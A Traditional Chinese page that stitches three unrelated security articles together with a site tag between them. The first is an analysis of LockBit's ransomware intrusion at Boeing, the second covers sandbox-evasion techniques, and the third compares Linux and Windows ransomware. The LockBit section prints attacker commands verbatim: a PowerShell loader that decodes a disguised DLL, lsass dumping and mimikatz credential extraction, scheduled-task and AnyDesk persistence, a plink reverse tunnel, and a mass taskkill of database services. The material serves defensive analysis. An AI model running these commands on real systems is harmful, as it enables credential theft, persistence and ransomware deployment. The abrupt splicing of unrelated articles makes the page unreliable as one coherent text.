LockBit攻擊組織在2022年實施的多次勒索攻擊活動及影響突顯了其為該年度全球最活躍的勒索攻擊組織，甚至主動採取了傳播和PR活動。該組織面向Windows、Linux、macOS、以及VMware虛擬化平台等多種主機系統和目標平台研發勒索軟件，其生成器通過簡單交互即可完成勒索軟件定制。 LockBit勒索軟件僅對被加密文件頭部的前4K數據進行加密，因此加密速度明顯快於全文件加密的其他勒索軟件，由於在原文件對應扇區覆蓋寫入，受害者無法通過數據恢復的方式來還原未加密前的明文數據。

表3‑1 LockBit攻擊組織基本情況

表1.png

LockBit勒索組織的RaaS服務成為攻擊者實施網絡勒索行為的犯罪工具。這些攻擊者通過利用多種手段，其中包括第三方獲取訪問憑證、漏洞武器化，以及搭載其他惡意軟件等方式，成功實現對受害系統的初始訪問。一旦入侵成功，攻擊者的下一步行動通常涉及竊取數據文件，並隨後投放LockBit勒索軟件，將目標系統的數據文件進行加密，繼而實施勒索。

3.2 歷史勒索攻擊情況LockBit勒索組織的規模龐大，擁有眾多附屬成員。其Tor網站幾乎每天都在更新，新增來自世界各地的受害者信息。這個組織採用了一種雙重勒索策略，即“威脅曝光企業數據+加密數據勒索”，進一步加劇了攻擊的危害程度。在Tor網站上，LockBit組織已經發布了超過2200條受害企業信息，僅在2023年，已經發布了1000餘條受害企業信息。這僅僅是公開信息，而實際受害企業數量可能遠超過這個數字。值得關注的是，攻擊者與受害企業有時會選擇通過私下談判的方式解決問題，而不在Tor上公開受害企業信息。這意味著實際受害企業數量可能遠遠超過已公開的信息，這加劇了LockBit組織對企業和機構的網絡安全威脅。

表3‑2 遭遇LockBit勒索攻擊的典型事件清單

時間

受害單位

影響

2021年8月

愛爾蘭IT諮詢公司埃森哲

竊取約6 TiB數據，要求支付5000萬美元贖金

2022年1月

法國泰雷茲集團

部分數據被公開；同年11月再次遭受勒索攻擊，公開竊取的約9.5 GiB數據

2022年2月

普利司通美洲分公司

公司暫停部分工作運營，受害系統數據被竊

2022年6月

美國數字安全公司Entrust

部分數據被竊取

2022年7月

法國電信運營商La Poste Mobile

導致部分系統關停，官方網站關停10余天，部分用戶信息被公開

2022年10月

巴西利亞銀行

部分數據被竊取，要求支付50 BTC贖金

2022年11月

德國大陸集團

竊取約40 GiB數據，要求支付5000萬美元贖金

2022年12月

美國加州財政部

竊取約76 GiB數據

2023年1月

英國皇家郵政

國際出口服務中斷，約45 GiB數據被竊取，要求支付8000萬美元贖金

2023年6月

台積電供應商擎昊科技

部分數據被竊取，要求支付7000萬美元贖金

2023年8月

加拿大蒙特利爾市電力服務委員會

竊取約44 GiB數據

2023年10月

美國波音公司

竊取約21.6 GiB數據

4 事件過程完整復盤分析為了讓防御者更深入了解定向勒索攻擊的運行機理，有針對性的改善防禦和響應能力，安天CERT以對LockBit攻擊組織的歷史分析成果為基礎，參考CISA取證報告等開源情報，綜合運用多種分析方法和手段，對LockBit組織針對波音公司的勒索攻擊進行了复盤，分析了勒索樣本，梳理了攻擊工具清單，對攻擊致效後的情況和損失進行了分析，並對攻擊殺傷鏈與技戰術圖譜進行了分析。

4.1 攻擊過程复盤步驟1：LockBit勒索組織（後稱攻擊者）針對波音公司的Citrix NetScaler ADC 和NetScaler Gateway 設備發動漏洞利用攻擊，竊取有效用戶的訪問cookie。該漏洞無需額外權限，攻擊者可在不需要任何權限的前提下，構造特定的數據包造成緩衝區溢出，可從Citrix NetScaler ADC 和NetScaler Gateway 中越界檢索身份驗證會話cookie等信息，通過cookie繞過身份驗證，獲取系統web登錄權限，通過web功能配置植入木馬進行信息竊取或勒索軟件進行勒索攻擊。

Citrix NetScaler ADC 和NetScaler Gateway 均提供網關服務，其web管理界面可對http、dns進行詳細的管理和配置，可篡改用戶數據實現投毒，可對插件進行惡意更換，用戶安裝被惡意更換的插件後即可被控。

图 4-1 Citrix 配置界面.png

圖4‑1 Citrix配置界面

步驟2：攻擊者利用竊取的cookie實現對波音公司邊界服務器的訪問，植入運行腳本123.ps1，實現釋放並執行Downloader木馬，從C2中下載各種遠程軟件、腳本、網絡掃描等武器裝備，Downloader可遠程獲取的裝備清單如表4-1所示。

123.ps1腳本內容如下，功能為拼接base64編碼，解碼生成adobelib.dll文件（Downloader木馬），以特定十六進製字符串作為參數加載該Downloader木馬：

$y='TVqQAAMA.

$x='RyEHABFQ.

$filePath='C:\Users\Public\adobelib.dll'

$fileBytes=[System.Convert]:FromBase64String($y+$x)

[System.IO.File]:WriteAllBytes($filePath,$fileBytes)

rundll32C:\Users\Public\adobelib.dll,mained5d694d561c97b4d70efe934936286fe562addf7d6836f795b336d9791a5c44表4‑1 攻擊裝備列表

攻擊裝備

123.ps1(初始腳本）

processhacker.exe（結束進程及服務）

psexec.exe（遠程命令執行）

AnyDesk（遠程控制軟件）

ad.ps1(域環境信息收集)

mimikatz.exe（憑證獲取）

tniwinagent.exe（信息收集）

Splashtop（遠程控制軟件）

veeam-get-creds.ps1（憑證收集）

proc.exe（進程dump）

Zoho（遠程控制軟件）

Action1（遠程控制軟件）

secretsdump.py（憑證收集）

netscan.exe（網絡掃描）

ConnectWise（遠程控制軟件）

Atera（遠程控制軟件）

sysconf.bat(執行plink）

servicehost.exe（建立SSH隧道工具-plink)

Screenconnect（遠程控制軟件）

fixme it（遠程控制軟件）

步驟3：攻擊者將惡意dll文件配置為計劃任務和將AnyDesk遠程軟件配置成服務來實現持久化訪問該入口。 AnyDesk是一款由德國公司AnyDesk Software GmbH推出的遠程桌面軟件。用戶可以通過該軟件遠程控制計算機，同時還能與被控制的計算機之間進行文件傳輸，主要應用於客戶日常運維和業務相關主機的遠程管理。這一軟件是常用網管工具、由正規軟件研發企業發布，且有對應廠商數字簽名，往往被作為白名單軟件。但這也使攻擊組織在活動中利用這類軟件的遠程管理功能實現持久訪問、文件傳輸，並利用其是合法簽名執行體來規避檢測。

服務創建及計劃任務添加所使用的命令如下：

schtasks.exe/create/tn'UpdateAdobeTask'/scMINUTE/mo10/tr''Mag.dll''/f

sccreateAnyDeskbinpath=c:\perflogs\AnyDeskMSI.exetype=ownstart=autodisplayname=AnyDesk安天AVL SDK 反病毒引擎檢測到AnyDesk後，會反饋輸出Riskware/Win32. AnyDesk作為命名，便於提醒網管判斷是正常應用還是攻擊者投放。

步驟4：攻擊者使用合法的網絡掃描工具探測目標內部網絡服務，通過ADRecon腳本（ad.ps1）收集AD域信息，利用tniwinagent工具（信息收集）收集其他主機信息。 ADRecon 是由澳大利亞信息安全服務提供商Sense of Security開發的一種收集有關Active Directory 信息並生成報告的工具，該報告可以提供目標AD 環境當前狀態的整體情況。該工具採用PowerShell腳本語言編寫，於2018年在Github開源。基於域環境信息收集功能，易被攻擊者利用，其中FIN7黑客組織曾使用過該工具[4]。

安天AVL SDK 反病毒引擎檢測到的ADRecon後，會反饋輸出HackTool/PowerShell.ADRecon作為命名，便於提醒網管判斷是正常應用還是攻擊者投放。

步驟5：攻擊者使用proc.exe（進程dump）工具獲取lsass.exe進程內存，結合Mimikatz工具獲取系統中的各類憑證；使用veeam-get-creds.ps1腳本從波音公司的veeam平台中獲取保存的憑證；使用secretsdump.py從波音公司的Azure VM上獲取各種賬號數據庫文件及註冊表信息。相關使用命令如表4-2所示。

表4‑2 憑證竊取操作信息表

命令作用

命令內容

轉儲lsass進程內存

proc.exe -accepteula -ma lsass.exe c:\perflogs\lsass.dmp

從lsass進程轉儲文件中提取憑證

mimikatz.exe 'sekurlsa:minidump c:\perflogs\lsass.dmp ' 'sekurlsa:logonPasswords full'

從veeam平台中提取憑證

.\veeam-get-creds.ps1

從Azure VM平台中收集憑證

secretsdump.py

Mimikatz（Mimikatz）是一款黃帽子（黑客）工具，最初由法國黑客Benjamin Delpy開發，並於2011年首次發布，該工具除了可執行文件版本外還存在腳本類型版本。 Mimikatz的主要功能是獲取和操控Windows操作系統中的憑證，如用戶登錄密碼、Windows登錄憑據（NTLM哈希和Kerberos票據）以及各種應用程序和服務的憑證。 Mimikatz設計的目的是揭示Windows系統中密碼和憑證管理的薄弱點，並用於安全專業人員的演示和教育目的。然而，由於其功能強大且廣泛被黑客所利用，Mimikatz也被視為危險的工具，用於進行惡意攻擊、數據竊取和潛在的勒索活動。憑藉其高度靈活和兼容性，Mimikatz已被APT組織或網絡犯罪組織應用於攻擊活動中，其中安天於2020年監測到苦象組織使用PowerShell腳本形式的Mimikatz工具[5]。

安天AVL SDK 反病毒引擎檢測到的Mimikatz後，會反饋輸出HackTool/Win32.Mimikatz、HackTool/Win64.Mimikatz或Trojan/PowerShell.Mimikatz作為命名，便於提醒網管判斷是正常應用還是攻擊者投放。

ProcDump 是一個命令行實用程序，是Sysinternals Suite 系統組件的一部分，其主要目的是監視應用程序的CPU 峰值並在峰值期間生成故障轉儲，管理員或開發人員可以使用它來確定峰值的原因。 ProcDump 還包括掛起窗口監視（使用與Windows 和任務管理器使用的窗口掛起相同的定義）、未處理的異常監視，並且可以根據系統性能計數器的值生成轉儲。它還可以用作通用進程轉儲實用程序，將其嵌入到其他腳本中。在本次事件中，該工具被攻擊者利用其白名單特性及進程轉儲功能，結合Mimikatz工具獲取系統憑證。

安天AVL SDK 反病毒引擎檢測到對應版本的ProcDump後，會反饋輸出RiskWare/Win32.ProcDump或RiskWare/Win64.ProcDump作為命名，便於提醒網管判斷是正常應用還是攻擊者投放。

步驟6：攻擊者利用獲取的各種憑證結合Psexec工具（遠程命令執行），在波音內部網絡其他主機上部署各種遠程軟件，獲取更多其他服務器及主機的訪問權限。 Psexec是一個命令行網絡管理工具，是Sysinternals Suite系統組件的一部分，其調用了Windows系統的內部接口，以遠端Windows主機賬戶名、密碼和要執行的本地可執行文件為輸入參數，基於RPC$服務實現，將本地可執行文件推送到遠端主機執行，其設計初衷是為了便於網絡管理人員以實現敏捷的遠程運營。但由於其作為命令行工具便於被調用封裝，也導致極易被攻擊者作為攻擊工具使用，在完成口令破解後，實現一次性投放執行。早在2003年，廣泛出現大量基於空口令和常見口令進行傳播的系列“口令蠕蟲”，大部分都使用了這個機制。特別是出品該系統組件的Sysinternals的團隊在2006年7月18日被微軟收購，導致其後續版本都帶有微軟的數字簽名，所以也連帶導致其會被較大比例的安全軟件放行。

安天AVL SDK反病毒引擎檢測到對應版本的Psexec後，會反饋輸出RiskWare/Win32.Psexec或RiskWare/Win64.Psexec作為命名，便於提醒網管判斷是正常應用還是攻擊者投放。

步驟7：利用遠程訪問軟件傳輸步驟4至步驟6涉及的各種工具，循環執行步驟4至步驟6的各種操作，盡可能獲取更多服務器及主機的訪問權限。

步驟8：從已控制的系統中收集各種信息（包括備份文件等），並使用7z.exe工具進行壓縮。

步驟9：通過plink.exe工具建立的SSH隧道回傳數據；通過FTP協議回傳數據(193.201.9[.]224)；通過遠程控制軟件回傳數據。 plink.exe工具是PuTTY軟件中的一個組件，主要功能類似於Linux系統上的ssh命令行工具，用於SSH連接遠程主機，同時提供多種方式創建或管理SSH會話。由於其屬於PuTTY軟件的一個組件，具備數字簽名，能夠規避以數字簽名作為白名單檢測機制的終端防護軟件的檢測。

攻擊者使用如下命令格式實現SSH隧道建立：

echoenter|c:\windows\servicehost.exe-ssh-r8085:127.0.0.1:8085

步驟10：結束相關主機的數據庫服務及進程、殺毒軟件、其他阻礙勒索加密的進程。

攻擊者使用如下命令結束相關進程及服務：

cmd.exe/q/ctaskkill/f/imsqlwriter.exe/im

winmysqladmin.exe/imw3sqlmgr.exe/imsqlwb.exe/imsqltob.exe

/imsqlservr.exe/imsqlserver.exe/imsqlscan.exe/imsqlbrowser.exe

/imsqlrep.exe/imsqlmangr.exe/

imsqlexp3.exe/imsqlexp2.exe/imsqlex

步驟11：將LockBit 3.0勒索軟件通過遠程控制軟件部署到目標主機（數據價值高的、業務重要性強的）中並執行，實現加密勒索。對目標加密完成後，釋放勒索信並修改桌面背景用以提示受害者，便於受害者根據勒索信中預留的聯繫方式與攻擊者進行談判，談判內容包括支付贖金的數額和支付方式等。勒索軟件及勒索信分析詳見下節。

图 4-2 勒索信中的联系方式.png

圖4‑2勒索信中的聯繫方式

4.2 攻擊工具清單梳理在本次攻擊事件中，攻擊者利用Citrix設備相關的CVE-2023-4966漏洞作為突破口，入侵後組合利用多種攻擊裝備實現網絡攻擊，例如使用多種帶有數字簽名的遠程控制軟件與受害系統建立遠程連接，實現傳播其他攻擊裝備；利用Process Hacker實現禁用和卸載與安全軟件有關的進程和服務；通過ProcDump工具轉儲進程內存，結合Mimikatz實現憑證獲取，使用NetScan進行網絡掃描，用以發現與網絡有關的信息等，攻擊裝備具體使用情況見下表：

表4‑3 攻擊裝備使用情況

裝備類型

名稱

裝備來源

備註

漏洞利用

Citrix Bleed（CVE-2023-4966）

自研漏洞利用代碼

Citrix NetScaler ADC 和NetScaler Gateway 設備的軟件漏洞

腳本

123.ps1

自研腳本

解碼並釋放Downloader木馬

ad.ps1

開源腳本（Github）

AD域偵察腳本，收集域內各種信息

veeam-get-creds.ps1

開源腳本（Github）

從Veeam平台獲取保存的憑證信息

secretsdump.py

開源腳本（Github）

從Azure VM上獲取各類賬戶數據庫信息（憑證）

sysconf.bat

自研腳本

用於執行plink

黑客工具

processhacker.exe

公開軟件

禁用和卸載與安全軟件有關的進程和服務

mimikatz.exe

開源軟件

從內存和進程轉儲文件中獲取憑證

進程轉儲

proc.exe

公開軟件

通過ProcDump工具轉儲lsass.exe內存，結合Mimikatz實現憑證獲取

網絡掃描

netscan.exe

公開軟件

重命名Softperfect公司的網絡掃描軟件，實現網絡掃描功能

端口轉發

servicehost.exe

公開軟件

重命名的plink（PuTTY Link），用於端口轉發建立SSH隧道

遠程執行

psexec.exe

公開軟件

用於遠程部署特定程序

TNI客戶端

tniwinagent.exe

公開軟件

用於發現

HireHackking

當惡意軟件開發者發現自己在沙盒中運行時，會竭盡全力避免惡意行為。目前有很多沙盒檢測方法，每種方法都有優缺點。

至於惡意軟件開發者如何檢測到沙盒？有很多不同的方法，但總的來說，他們會檢查環境的特徵，看看它是否看起來像一個目標主機，而不是一個自動化系統。

逃避沙盒策略惡意軟件開發者會使用大量技術來檢查它們是否運行在“真正的”目標主機上，比如計算瀏覽器緩存中的cookie數量，或者檢查顯存是否太小。

檢測儀器或“掛鉤”逃避沙盒儀器的檢測，這絕對是最流行的技術之一。最常見的例子是檢查API掛鉤，因為這是沙盒和防病毒供應商檢測和記錄分析中的可執行文件進行的所有API調用的常用方法。這可以像檢查常見函數的函數序言一樣簡單，看看它們是否被掛鉤。

在下圖中，我們看到了Windows 10中CreateFileA的序言的反彙編是什麼樣子的，以及如果在沙盒中插入了指令，它可能是什麼樣子。

1.png

系統API中函數上的典型沙盒掛鉤

如上所示，攻擊者很容易察覺到這一點，這就是為什麼這是我們所看到的最常見的方法之一。

這種技術的一個有趣的變化是，惡意軟件檢測並解除現有的掛鉤，以便在不記錄其活動的情況下偷偷執行。當惡意軟件開發者想要通過端點保護而不被目標主機檢測到時，就會發生這種情況。

下圖顯示了GuLoader如何解包ZwProtectVirtualMemory函數序言的字節以恢復原始功能的示例。

2.png

GuLoader正在解除逃避系統API函數中的檢測

減少逃避沙盒儀器檢測的方法防止惡意軟件作者檢測檢測儀器的黃金標準就是不要有任何對你正在分析的程序可見的異常內容。越來越多的沙盒將這一想法作為其檢測策略的重點。當你在操作系統中的任何地方都不改變一個字節時，你就更容易避免逃避。

與其通過更改代碼來檢測API，不如使用虛擬化來無形地檢測分析中的程序。從來賓VM外部檢測惡意軟件有很多好處。

3.png

客戶機與基於虛擬機監控程序的掛鉤引擎。左：程序分析組件與它執行的惡意軟件樣本一起存在於來賓VM中。右：分析組件完全存在於來賓VM之外，因此對於被分析的程序來說是不可見的

檢測虛擬環境另一個常見的逃避則涉及檢測文件正在虛擬機（VM）中執行。這可能涉及指紋資源，如低CPU核心數、系統或視頻內存或屏幕分辨率。它還可能涉及特定VM的指紋工件。

在構建沙盒時，供應商有大量的虛擬機解決方案可供選擇，如KVM、VirtualBox和Xen。每一個都有各種各樣的工件和特性，它們可以被運行在它們下面的vm中的軟件檢測到。

其中一些特性是特定係統特有的，比如檢查VMware的後門接口，或者檢查提供給操作系統的硬件是否與QEMU提供的虛擬硬件匹配。其他方法可以簡單地檢測一般的管理程序。例如，Mark Lim在一篇文章中討論了管理程序的一般逃避，該文章利用了許多管理程序錯誤地模擬trap標誌行為這一事實。

惡意軟件確定其是否在VMware虛擬機內運行的最早和最廣泛使用的機制之一是使用VMware的後門接口來查看VMware虛擬機管理程序是否有任何有效響應。這種檢查的示例如下圖所示。

4.png

惡意軟件檢查它是否在VMware虛擬機內運行

惡意軟件家族還可以使用Windows Management Instrumentation（WMI）查詢來查詢計算機製造商或型號信息。這允許他們獲取有關係統的信息，並將其與已知的沙盒或管理程序字符串進行比較。

下圖顯示瞭如何使用它對VMware、Xen、VirtualBox和QEMU進行查詢。同樣的技術也可以在Al-Khaser中找到，這是一個包含許多反沙盒技術的開源工具。

5.png

用於查詢計算機信息的WMI查詢

下圖顯示了惡意軟件可能與之交互的軟件組件，以顯示它是否在虛擬環境中執行。

6.png

進程可以與之交互以評估它們是否在VM內部

此外，在來賓虛擬機周圍經常會散佈大量信息，這些信息可以很容易地提供有關來賓操作系統在其下運行的虛擬機平台的線索。具體信息取決於所使用的VM基礎架構（例如，VMware、KVM或QEMU）。

以下只是惡意軟件作者可以檢查的幾個示例：

顯示VM特定硬件、驅動程序或服務的註冊表項路徑；

VM特定驅動程序或其他服務的文件系統路徑；

特定於某些VM基礎結構的MAC地址；

虛擬硬件(例如，如果查詢報告你的網卡是多年未生產的Intel e1000，它可以推斷你可能正在使用Qemu硬件模型運行)；

運行顯示虛擬機平台特定服務以支持準虛擬化的流程，或為用戶提供方便的系統（如VMware工具）；

CPUID指令，在許多情況下，有助於通知VM平台的客戶端軟件；

緩解虛擬機逃避大多數緩解措施的主要問題是，主流虛擬化平台替代方案為惡意軟件開發者所熟知。為了便於實現，大多數沙盒都基於KVM、Xen或QEMU等系統，這使得這類逃避特別難以緩解。

每一個主流虛擬機平台都被沙盒逃避所針對。問題是，除了編寫自己的自定義管理程序來支持惡意軟件分析之外，沒有什麼能有效地解決這類逃避問題。

缺乏人機互動這一類別包括需要特定人機互動的逃避。例如，惡意軟件開發者希望看到鼠標點擊或其他事件發生在“真實”用戶驅動的系統上，但這在典型的自動分析平台中是不存在的。惡意軟件家族通常會檢查人員交互，如果看起來沒有用戶驅動系統，則停止執行，因為用戶活動正在模擬中。

以下是我們在人機交互檢查中觀察到的一般主題：

提示用戶進行交互。例如，應該點擊沙盒可能不知道的對話框或虛假eula以確保引爆。

檢查鼠標點擊，鼠標移動和按鍵。甚至可以分析鼠標事件的位置或擊鍵的時間，以確定它們看起來是“自然的”還是通過編程生成的。

在文檔中放置宏以檢查是否存在諸如滾動、單擊電子表格中的單元格或檢查其他工作表選項卡等人機交互的證據。

讓我們看一個具體的示例（如下圖所示），說明惡意軟件如何獲取自上次用戶輸入（GetLastUserInput）和自系統啟動（GetTickCount）以來的時間。然後，它可以比較自按下最後一個鍵以來經過了多長時間，以檢測系統上是否有任何活動。

7.png

攻擊開始所需的用戶交互

減少人際互動逃避在實現沙盒時，我們可以控制虛擬鍵盤、鼠標和顯示器。如果由於某種原因，分析的可執行文件需要任何輸入鍵，我們可以向分析發送按鍵，或者確保點擊正確的按鈕以繼續執行可執行文件。

與VM檢測問題的所有其他領域一樣，我們需要對惡意軟件家族正在尋找的內容保持警惕，並不斷改進緩解逃避策略。最近的一個例子涉及需要在Excel電子表格中的多個單元格上單獨點擊鼠標的惡意軟件。

時間和計算資源逃避早期，沙盒中最常見的逃避方式之一是在做任何攻擊之前只需要睡眠一個小時。這樣，它將保證惡意軟件將遠遠超出幾乎所有沙盒使用的最短分析時間窗口，因為運行每個樣本超過幾分鐘是不可行的。

沙盒開發者對此的反應是將長時間睡眠縮短為短時間睡眠。下圖顯示了一種使用Windows計時器和Windows消息的逃避技術。其思想是安裝一個每秒鐘觸發一次的計時器，然後在執行計時器的回調時增加一個內部變量。

一旦變量達到特定的閾值，它將發送另一條Windows消息通知示例開始執行惡意軟件。這種規避的問題是，沙盒不能簡單地將計時器的超時時間減少到一個較低的數字，因為它可能會中斷其他軟件的執行，但它仍然必須以某種方式執行。

8.png

使用定時器和Windows消息的睡眠示例

另一個示例如下圖所示，其中惡意可執行文件只需在循環中調用時間戳計數器指令。

9.png

使用時間戳計數器指令的休眠循環

緩解利用時間逃避的方法老實說，利用時間逃避很難緩解。如前所述，我們總是可以調整睡眠參數和計時器，但這並不能完全解決問題。

我們發現另一個有用的策略是，因為我們控制管理程序，所以我們可以使用技術來控制所有硬件和軟件，從而使來賓VM中的時間過得更快。甚至不需要更改參數或安裝任何掛鉤就可以做到這一點。我們可以在幾分鐘內實時運行一個小時的可執行文件，這使我們能夠更快地獲取惡意代碼。

垃圾指令循環或虛擬機退出循環可能是最難對付的情況。如果惡意軟件開發者執行了幾百萬條CPUID指令，在管理程序下面執行這些指令的時間就會呈指數級增長，那麼我們的代碼就是在VM中運行的。

Pocket Litter檢查“Pocket Litter”一詞來自間諜活動領域，其目的是用於惡意軟件開發者檢查環境是否顯示出真實的目標主機的證據。

在沙盒環境中，檢查“Pocket Litter”通常包括查找合理的系統正常運行時間、My Documents文件夾中的足夠數量的文件或系統瀏覽器緩存中的大量頁面。這些都有助於證實該系統是“真實的”，而不是沙盒環境。與其他類別一樣，變化的數量似乎是無限的。

下圖顯示了另一個示例，其中惡意軟件檢查是否有兩個以上的可用處理器以及是否有足夠的可用內存。通常，沙盒環境的可用內存沒有普通PC那麼多，這項檢查是測試目標系統是否可能是台式PC或在沙盒環境中運行。

10.png

檢查所需的最小處理器數量和運行所需的內存

在下圖中，還有另一個示例，如果卷磁盤序列號與已知防病毒供應商使用的模擬器的序列號匹配，則AutoIt可執行文件將退出。

11.png

檢查卷序列號

Pocket Litter檢查緩解措施目前沒有一種特定的方法可以用於緩解這種逃避，只能具體問題具體解決。

例如，當我們看到對特定位置的特定類型文件進行檢查時(如果它看起來是對VM映像的無害更改)，我們將它們添加到任何相關示例中以查看。這種Pocket Litter的方法感覺像是貓捉老鼠的遊戲。

總結沙盒逃避的方法太多，沒有哪一種方法可以有效地解決所有問題，因此必須具體問題具體分析解決。

HireHackking

微信截图_20231129213020.png

Check Point Research (CPR)提供了一些最近針對Linux系統和ESXi系統的勒索軟件攻擊案例，不難發現，這些攻擊在過去幾年一直在增加。

2021年發布的Babuk源代碼顯然促進了大量勒索軟件的出現，許多針對Linux大量使用OpenSSL庫以及ChaCha20/RSA和AES/RSA的算法接連出現。

分析介紹我們對一些頂級勒索軟件家族(總共12個)進行了研究，發現這些勒索軟件要么是直接為Linux系統開發的，要么是用具有強大跨平台組件的語言開發的，比如Golang或Rust，允許它們在Windows和Linux上不加區分地編譯。

為了更好比較Linux和Windows開發的勒索軟件，我們首先需要關注這兩個系統的歷史演變。

1.png

Linux勒索軟件

2.png

Windows勒索軟件

首先，我們注意到，第一個可查的勒索軟件樣本(儘管處於非常早期的階段)可以追溯到1989年。這種被稱為AIDS的威脅是通過軟盤和目標Windows系統傳播的。

直到2004年的GPCode，我們才開始看到第一批惡意軟件。它們專注於Windows環境，很快勒索軟件威脅開始進行演變，如2006年的Archiveus，或2012年作為第一個RaaS出現的Reveton。

到2015年，有了Linux.Encoder.1，這是專門針對Linux的勒索軟件。此時，網絡威脅已經在Windows系統中得到高度發展。儘管這些威脅在Windows中很成熟，但並不能直接轉移到Linux上。

事實上，儘管在2015年已經有針對Linux的勒索軟件，但相比來說，數量仍然非常少。從2020年開始一直到現在，RaaS的Linux版本以及用Golang或Rust等語言開發的跨平台樣本開始出現。

技術分析在目前針對基於linux的操作系統的攻擊中，我們分析了一些最新的：

Maori

Cl0p

Cylance

Royal

ViceSociety

IceFire

BlackCat

ESXiArgs

Rorschach

Monti

LockBit

GwisinLocker

在許多情況下，工具本身被簡化了，在二進製文件中只會留下最小的功能和內容，在某些情況下，只將它們減少到文件加密代碼。這使得本文所列舉的樣本非常依賴外部配置、腳本或命令行來配置其目標。最著名的例子之一是Cl0p，它只具有加密功能，它支持的唯一參數是要加密的路徑。

在名為“ESXiArgs”的勒索軟件中，二進製文件本身甚至沒有嵌入RSA公鑰，但需要包含密鑰的文件的路徑作為參數，以便它可以執行加密，這個樣本甚至沒有加密整個目錄的功能，攻擊者必須用執行加密器的腳本遍歷每個文件。事實上，惡意軟件的名稱是由使用該惡意軟件的攻擊者的https給出的，它特意麵向這種類型的系統。

除了加密功能之外，許多面向linux的勒索軟件幾乎沒有什麼邏輯，因此檢測它們可能是一項挑戰，因為它們的所有代碼都基於許多其他合法應用程序可能包含的相同加密代碼。

在許多樣本中，與服務器的通信協議，是為加密系統做準備的一些命令執行。創建某種持久性的功能(在許多最活躍的Windows系列中發現)，甚至是嵌入式配置都是異常元素，可以實現更詳細的惡意軟件檢測，但在大多數勒索軟件中不存在。

當然，也有一些例外，比如BlackCat，它是一個跨平台的樣本，具有特定於windows的功能，如刪除影子副本或搜索共享文件夾。再比如GwisinLocker，它有一個嵌入式加密配置，允許它在不需要參數的情況下工作，並且更加獨立。

最主要和最顯著的動機無疑是對ESXi虛擬化系統的特殊興趣。通過攻擊這些系統，攻擊者可以極大地影響多個服務和設備(所有使用這種技術虛擬化)。這可能就是為什麼絕大多數以linux為目標的勒索軟件，儘管除了加密本身之外幾乎沒有什麼功能，卻傾向於運行旨在與ESXi系統交互的特定命令，特別是:

3.png

Linux勒索軟件圖

需要指出的是，由於ESXi系統與Linux系統並不完全相同，因此發布的不同樣本包含有靜態鏈接，以便它們可以在兩個系統上獨立運行。

在所有以linux為中心中，一個非常普遍的模式是，他們傾向於關注特定的技術，這些技術主要與這些系統中這類威脅的主要攻擊途徑有關。與我們習慣的針對Windows的攻擊不同，比如Ryuk或REvil，它們的攻擊通常是通過針對許多用戶的網絡釣魚活動發起的，Linux最常見的攻擊鏈之一是利用受害者服務器某些暴露服務的漏洞。 ESXi中的漏洞也是如此，但也有其他情況，例如IceFire利用IBM技術中的漏洞(CVE-2022-47986)或Cl0p，其Linux版本的目標目錄中有幾個與Oracle數據庫相關的路徑以及Linux系統的通用路徑。

攻擊途徑在Windows環境中，勒索軟件攻擊者採用廣泛的攻擊途徑來破壞系統。許多具有攻擊性的針對windows的勒索軟件，通過包含惡意附件(通常在文檔中使用宏)或鏈接的網絡釣魚電子郵件到達受害者的基礎設施。例如，Emotet通常是最初的有效負載，受害者基礎設施的完全攻擊隨著Ryuk或Sodinokibi樣本的部署而結束。

除了釣魚電子郵件，過去使用Rig和Magnitude等漏洞工具來利用瀏覽器或插件等軟件中的漏洞，來導致勒索軟件的執行（現在已經不常見了）。

另一個常見的攻擊途徑是利用或暴力破解暴露在互聯網上的遠程桌面協議(RDP)服務器。

利用暴露服務上的漏洞是勒索軟件的主要攻擊手段之一。值得注意的是，在這些情況下，攻擊鏈通常涉及到Webshell的部署，最終成為最初允許他們訪問並控制相關服務器的工具。

使用被盜憑證獲取訪問權限(例如，使用SSH)是另一個正在增長的領域。憑證被盜通常是由於其他惡意軟件攻擊引起的洩漏，或者是由於涉及整個Windows系統網絡的同一攻擊的橫向移動。

在這些情況下，在Linux系統內進行檢測是非常複雜的，因為攻擊者經常使用內部系統帳戶和合法工具來訪問系統，而不是後門，其影響與在Windows系統上使用lolbin非常相似。

Linux系統的另一個常見入口類似於Windows系統中的RDP服務，掃描不同的公開服務，然後進行暴力攻擊，試圖通過弱憑據獲得對服務器的訪問權。

這是一種非常“嘈雜”的技術，但仍然有效，並且由於訪問是通過從公開的服務本身獲得的合法憑據進行的，因此難以識別。

如果我們觀察Linux服務器的所有常見攻擊途徑可以發現，每種模式都針對暴露的服務器和關鍵服務。我們可以看到以linux為目標的勒索軟件攻擊更側重於組織和公司，而不是普通用戶。

代碼重用正如許多其他類型威脅的惡意軟件家族(如Mirai或Quasar)一樣，一旦成功威脅的源代碼被發布，其他組織就會迅速出現，並試圖利用這些代碼通過小的修改(在某些情況下不是那麼小)來創建自己的工具。就Linux勒索軟件而言，最引人注目的是Babuk勒索軟件，我們可以在許多其他勒索軟件中找到Cylance或Rorschach樣本。

微信截图_20231129214317.png

基於Babuk的代碼重疊

在許多情況下，對初始工具的檢測允許我們檢測可能從源代碼中出現的所有子家族。

持久性比較持久性在勒索軟件中並不像在其他類型的威脅中那麼重要，因為一旦受害者的文件和目錄被加密，在同一系統中再次執行基本上是沒有意義的。然而，這種類型的惡意軟件的攻擊鏈確實有了很大的發展，特別是在Windows環境中，因為其目的不是加密單個計算機，而是傳播到其他計算機。在大多數情況下，攻擊者的目標是一點一點地破壞整個基礎設施，一旦他們取得了控制權，整個AD就會被加密，例如，通過GPO的方式，或者對最關鍵的計算機進行加密，以增加攻擊者收到贖金的機會。

在執行勒索軟件之前，會執行一系列允許攻擊者訪問系統的威脅和工具。這些確實需要持久性，因為整個基礎設施的攻擊可能需要很長時間。然而，儘管這是最常見的場景，但在某些情況下，威脅本身俱有建立持久性的功能。

在Windows環境中，勒索軟件通過各種手段實現持久性。最著名的例子包括註冊表操縱，如WannaCry和Ryuk，確保其有效負載在系統啟動期間執行，以及使用計劃任務，如Sodinokibi (REvil)背後的許多威脅攻擊者，利用Windows任務調度程序創建惡意任務，確保勒索軟件定期執行。

在Windows系統上獲得持久性的另一種常見方法是服務創建，這是最嚴格的。因為它需要受害者計算機上的管理員權限，但在更高級的攻擊階段，攻擊者已經獲得了必要的憑據，並對基礎設施有一定的控制，這是最常用的方法之一。

在ESXi和Linux系統中，很少看到勒索軟件採用許多已知的持久性方法，這些方法通常被其他類型的威脅所利用。在訪問後，易受攻擊的服務器被直接加密，並且在許多情況下，例如Lockbit, ESXiArgs, BlackCat或Gwisin，惡意軟件在執行後具有自我刪除的功能。
